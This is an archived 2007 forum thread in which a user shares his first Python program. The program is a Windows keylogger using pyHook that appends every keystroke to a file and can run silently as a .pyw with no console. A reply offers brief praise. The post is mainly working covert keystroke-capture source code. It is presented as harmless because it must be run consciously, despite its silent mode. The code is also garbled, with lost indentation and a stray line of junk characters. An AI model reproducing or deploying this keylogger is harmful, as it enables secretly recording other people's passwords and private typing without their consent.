SRL Archive - Python/Perl Help and Tutorials

First Python - Key recorder.


R0b0t1

2007-04-06 18:20:08

This is my first python program. you need python, pyHook, and win32 pythoncom. You should save this as a .pyw if you wan't it to run silent with no console, or .py to run with console to tell you everything. It outputs to a file where you saved it call record.txt

This is not against the rules, as you must CONCIOUSLY execute the source.


# -*- coding: Utf-8 -*-

import pythoncom, pyHook, py_compile
py_compile.compile("keylogger.py")

def OnKeyboardEvent(event):
open('Record.txt', 'a+').write(event.Key+' ')
print 'MessageName:',event.MessageName
print 'WindowName:',event.WindowName
print 'Key:', event.Key
print 'KeyID:', event.KeyID
print '---------------------------'

# return True to pass the event to other handlers
return True
chin = '灓捡灓捡⁆⁁'+' ″″‴′‵″‴′″'


# create a hook manager
hm = pyHook.HookManager()
# watch for all mouse events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()

chin is the errors I got.

ShawnjohnSJ

2007-04-19 20:53:49

Good job
I never messed with Python but I have met a few people who used it. :P Looks very confusing.